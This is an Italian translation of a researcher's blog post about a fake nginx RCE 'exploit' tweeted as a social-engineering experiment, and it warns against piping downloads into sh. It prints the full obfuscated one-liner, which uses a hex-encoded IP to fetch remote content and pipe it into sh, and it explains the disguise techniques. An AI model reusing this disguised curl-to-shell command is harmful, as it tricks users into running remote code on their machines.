Il successo dell'esperimento sociale con un exploit falso per nginx

Nota di traduzione.: Autore Di un appunto originale, pubblicato il 1° giugno, ho deciso di condurre un esperimento in un ambiente di persone interessate alla sicurezza informatica. A tal fine, ha preparato un falso exploit per una vulnerabilità non divulgata nel web server e l'ha pubblicato su Twitter. Le sue ipotesi - essere immediatamente smascherato da esperti che avrebbero visto il chiaro inganno nel codice - non solo non si sono avverate... Hanno superato ogni aspettativa, e in senso contrario: il tweet ha ricevuto un enorme supporto da molte persone che non hanno controllato il suo contenuto.

TL;DR: non usare in alcun modo la pipelining dei file in sh o bash. È un ottimo modo per perdere il controllo del computer.

Voglio condividere con voi una breve storia su un PoC exploit umoristico che è stato creato il 31 maggio. È emerso rapidamente in risposta alla notizia di Alisa Esage Ševčenko, membro Zero Day Initiative (ZDI), riguardo al fatto che presto sarebbero stati divulgati dettagli su una vulnerabilità in NGINX che porterebbe a RCE (esecuzione remota di codice). Poiché NGINX è alla base di molti siti web, la notizia avrebbe dovuto avere un impatto devastante. Ma a causa dei ritardi nel processo di "divulgazione responsabile" le informazioni dettagliate sugli eventi non erano disponibili: è questa la procedura standard di ZDI.

Tweet sulla divulgazione della vulnerabilità in NGINX

Dopo aver completato il lavoro su una nuova tecnica di offuscamento in curl, ho citato il tweet originale e ho "rilasciato un PoC funzionante", composto da una sola riga di codice, che apparentemente utilizzava la vulnerabilità scoperta. Certo, era una totale sciocchezza. Pensavo che sarei stato smascherato subito e che, nella migliore delle ipotesi, avrei ottenuto un paio di retweet (e pazienza).

Tweet con un exploit falso

Tuttavia, non potevo immaginare cosa sarebbe successo dopo. La popolarità del mio tweet è esplosa. Stranamente, al momento (15:00 MSK del 1° giugno) ancora in pochi si sono resi conto che si trattava di una fake. Molti lo ritwittano senza nemmeno verificarne il contenuto (per non parlare dell'ammirazione per la splendida grafica ASCII che visualizza).

Guardate che bellezza!

Anche se tutti questi cicli e colori sono straordinari, è ovvio che per vederli, le persone eseguivano il codice sulla propria macchina. Fortunatamente, i browser funzionano in modo analogo, e, con il fatto che non ho affatto bisogno di problemi legali, il codice nascosto nel mio sito eseguiva semplicemente chiamate echo, senza cercare di impostare o eseguire alcun codice aggiuntivo.

Una piccola digressione: netspooky, dnz, io e altri ragazzi del team Thugcrowd stiamo sperimentando da un po' con vari metodi di offuscazione dei comandi curl, perché è divertente... e siamo geek. netspooky e dnz hanno scoperto alcuni nuovi metodi che mi sono sembrati estremamente promettenti. Ho deciso di unirti al divertimento e ho provato ad aggiungere conversioni di IP decimali al set di trucchi. È emerso che è possibile convertire gli IP anche in formato esadecimale. Inoltre, curl e la maggior parte degli altri strumenti NIX accettano volentieri gli IP esadecimali! Pertanto, era sufficiente creare una riga di comando convincente e dall'aspetto sicuro. Alla fine, mi sono fermato su questa:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../..///nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

L'ingegneria socio-elettronica (S.E.E.) è più di un semplice phishing

La sicurezza e la familiarità sono state parte fondamentale di questo esperimento. Penso che siano state proprio queste a portarlo al successo. La riga di comando implicava chiaramente sicurezza, riferendosi a "127.0.0.1" (il ben noto localhost). Si considera che il localhost sia sicuro, e i dati in esso contenuti non lasciano mai il tuo computer.

La familiarità è stata il secondo componente chiave dell'S.E.E. dell'esperimento. Poiché il pubblico target era composto principalmente da persone che conoscevano le basi della sicurezza informatica, era importante creare un codice in cui le sue parti sembrassero familiari e quindi sicure. Prendere in prestito elementi di vecchie concezioni di exploit e combinarli in modo insolito si è rivelato molto efficace.

Di seguito è riportata un'analisi dettagliata del one-liner. Tutto ciò che è presente in questo elenco è di natura cosmetica, e per il suo funzionamento reale non è praticamente richiesta alcuna configurazione.

Quali componenti sono realmente necessari? Sono -gsS, -O 0x0238f06a, |sh e il server web stesso. Il server web non conteneva istruzioni malevole, ma semplicemente trasmetteva grafica ASCII tramite comandi echo nello script che si trova in index.html. Quando l'utente inseriva una stringa con |sh nel mezzo, index.html veniva caricato ed eseguito. Fortunatamente, i custodi del server web non avevano cattive intenzioni.

• ../../../%00 — rappresenta un'uscita al di fuori della directory;
• ngx_stream_module.so — percorso a un modulo NGINX casuale;
• /bin/sh%00<'protocol:TCP' — stiamo presumibilmente eseguendo /bin/sh sulla macchina bersaglio e reindirizzando l'output a un canale TCP;
• -O 0x0238f06a#PLToffset — ingrediente segreto, completato #PLToffset, per sembrare uno spostamento di memoria, in qualche modo contenuto in PLT;
• |sh; — un altro frammento importante. Dovevamo reindirizzare l'output a sh/bash per eseguire il codice proveniente dal server web attaccante, situato all'indirizzo 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost — un falso, dove netcat si riferisce a /dev/tcp/localhost, affinché tutto sembri di nuovo sicuro. In realtà, non fa nulla ed è incluso nella stringa per bellezza.

Qui termina la decodifica dello script a riga singola e la discussione sugli aspetti della "ingegneria socio-elettronica" (phishing elaborato).

Configurazione del server web e contromisure

Poiché la stragrande maggioranza dei miei follower sono esperti di sicurezza informatica/hacker, ho deciso di rendere il server web un po' più resistente alle manifestazioni di "interesse" da parte loro, solo per avere qualcosa da fare (e anche per divertirsi a configurarlo). Non intendo elencare tutte le trappole qui, poiché l'esperimento è ancora in corso, ma ecco alcune cose che il server fa:

• Monitora attivamente i tentativi di diffusione su determinate reti sociali e inserisce diverse miniature di anteprima per incoraggiare l'utente a cliccare sul link.
• Reindirizza Chrome/Mozilla/Safari/ecc. a un video promozionale di Thugcrowd invece di mostrare lo script shell.
• Tiene d'occhio i SEGNI EVIDENTI di intrusione/hacking brutale, dopo di che inizia a reindirizzare le richieste ai server NSA (ah!).
• Installa un trojan e anche un rootkit BIOS su tutti i computer i cui utenti visitano l'host da un browser normale (scherzo!).

Una piccola parte di anti-misura

In questo caso, il mio unico obiettivo era esplorare alcune funzionalità di Apache — in particolare, le interessanti regole di reindirizzamento delle richieste — e ho pensato: perché no?

Exploit NGINX (vero!)

Iscriviti a @alisaesage su Twitter e segui il fantastico lavoro di ZDI nella risoluzione di vulnerabilità e possibilità di exploit del tutto reali in NGINX. Il loro lavoro mi ha sempre affascinato e sono grato ad Alisa per la pazienza connessa a tutti i riferimenti e le notifiche suscitate dal mio stupido tweet. Fortunatamente, ha portato anche alcuni benefici: ha aiutato a sensibilizzare sulle vulnerabilità di NGINX, così come sui problemi causati dall'abuso di curl.

Fonte: habr.com